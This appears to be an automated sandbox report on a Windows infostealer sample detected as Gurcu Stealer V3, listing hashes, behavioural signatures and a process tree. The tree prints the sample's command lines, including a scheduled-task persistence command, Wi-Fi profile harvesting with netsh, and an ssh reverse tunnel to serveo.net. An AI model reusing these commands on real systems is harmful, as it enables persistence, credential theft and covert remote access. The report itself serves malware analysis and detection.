Analysis
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max time kernel
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max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20230831-en -
resource tags
arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system -
submitted
09-09-2023 13:58
Behavioral task
behavioral1
Sample
6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe
Resource
win10v2004-20230831-en
General
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Target
6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe
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Size
53.4MB
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MD5
a43b860d290321de53ed6deb5cae95af
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SHA1
62cc70d91f7e39fc93b9b0f106f78a90cfc54047
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SHA256
6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538
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SHA512
535cca5f0fdd3efecfca76760ab914b1c29ef7accc4e0789e5f658b1aa922fac854cfca752c745843c667d3be67672185973a79335496ef4b0a0f73d47c3b1a5
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SSDEEP
6144:wGWM/t/a2zDGVPJXvnzZjDJHb571Kjn1929XDccH19bqjWVHQDcXeUa:cmRatpvnzZjDv7oj19yTuj+H9XRa
Malware Config
Signatures
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Detect Gurcu Stealer V3 payload 3 IoCs
resource yara_rule behavioral2/memory/1416-0-0x000001E3212B0000-0x000001E321312000-memory.dmp family_gurcu_v3 behavioral2/files/0x000900000002329c-16.dat family_gurcu_v3 behavioral2/files/0x000900000002329c-15.dat family_gurcu_v3 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Control Panel\International\Geo\Nation 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe -
Executes dropped EXE 1 IoCs
pid Process 2348 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe Key opened \REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe Key opened \REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 40 ip-api.com -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{899F939A-FC9F-4822-A3C8-2481478AB348}.catalogItem svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 svchost.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1288 schtasks.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU svchost.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4860 PING.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2348 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe 2348 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1416 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe Token: SeDebugPrivilege 2348 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 1416 wrote to memory of 4944 1416 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe 88 PID 1416 wrote to memory of 4944 1416 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe 88 PID 4944 wrote to memory of 1972 4944 cmd.exe 91 PID 4944 wrote to memory of 1972 4944 cmd.exe 91 PID 4944 wrote to memory of 4860 4944 cmd.exe 92 PID 4944 wrote to memory of 4860 4944 cmd.exe 92 PID 4944 wrote to memory of 1288 4944 cmd.exe 94 PID 4944 wrote to memory of 1288 4944 cmd.exe 94 PID 4944 wrote to memory of 2348 4944 cmd.exe 95 PID 4944 wrote to memory of 2348 4944 cmd.exe 95 PID 2348 wrote to memory of 3044 2348 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe 96 PID 2348 wrote to memory of 3044 2348 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe 96 PID 3044 wrote to memory of 2156 3044 cmd.exe 98 PID 3044 wrote to memory of 2156 3044 cmd.exe 98 PID 3044 wrote to memory of 624 3044 cmd.exe 99 PID 3044 wrote to memory of 624 3044 cmd.exe 99 PID 3044 wrote to memory of 2728 3044 cmd.exe 100 PID 3044 wrote to memory of 2728 3044 cmd.exe 100 PID 2348 wrote to memory of 548 2348 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe 102 PID 2348 wrote to memory of 548 2348 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe 102 PID 548 wrote to memory of 5068 548 cmd.exe 103 PID 548 wrote to memory of 5068 548 cmd.exe 103 PID 548 wrote to memory of 1176 548 cmd.exe 104 PID 548 wrote to memory of 1176 548 cmd.exe 104 PID 548 wrote to memory of 2996 548 cmd.exe 105 PID 548 wrote to memory of 2996 548 cmd.exe 105 PID 2348 wrote to memory of 4424 2348 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe 106 PID 2348 wrote to memory of 4424 2348 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe 106 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe
Processes
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
PID:5112
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C:\Users\Admin\AppData\Local\Temp\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe"C:\Users\Admin\AppData\Local\Temp\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1416 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4944 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:1972
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C:\Windows\system32\PING.EXEping 127.0.0.13⤵
- Runs ping.exe
PID:4860
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C:\Windows\system32\schtasks.exeschtasks /create /tn "6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
PID:1288
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C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe"C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:2348 -
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"4⤵
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\system32\chcp.comchcp 650015⤵PID:2156
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C:\Windows\system32\netsh.exenetsh wlan show profiles5⤵PID:624
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C:\Windows\system32\findstr.exefindstr /R /C:"[ ]:[ ]"5⤵PID:2728
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"4⤵
- Suspicious use of WriteProcessMemory
PID:548 -
C:\Windows\system32\chcp.comchcp 650015⤵PID:5068
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C:\Windows\system32\netsh.exenetsh wlan show networks mode=bssid5⤵PID:1176
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C:\Windows\system32\findstr.exefindstr "SSID BSSID Signal"5⤵PID:2996
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C:\Windows\System32\OpenSSH\ssh.exe"ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:8664 serveo.net4⤵PID:4424
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe.log
Filesize847B
MD53308a84a40841fab7dfec198b3c31af7
SHA14e7ab6336c0538be5dd7da529c0265b3b6523083
SHA256169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e
SHA51297521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198
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C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe
Filesize53.4MB
MD5a43b860d290321de53ed6deb5cae95af
SHA162cc70d91f7e39fc93b9b0f106f78a90cfc54047
SHA2566a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538
SHA512535cca5f0fdd3efecfca76760ab914b1c29ef7accc4e0789e5f658b1aa922fac854cfca752c745843c667d3be67672185973a79335496ef4b0a0f73d47c3b1a5
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C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe
Filesize53.4MB
MD5a43b860d290321de53ed6deb5cae95af
SHA162cc70d91f7e39fc93b9b0f106f78a90cfc54047
SHA2566a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538
SHA512535cca5f0fdd3efecfca76760ab914b1c29ef7accc4e0789e5f658b1aa922fac854cfca752c745843c667d3be67672185973a79335496ef4b0a0f73d47c3b1a5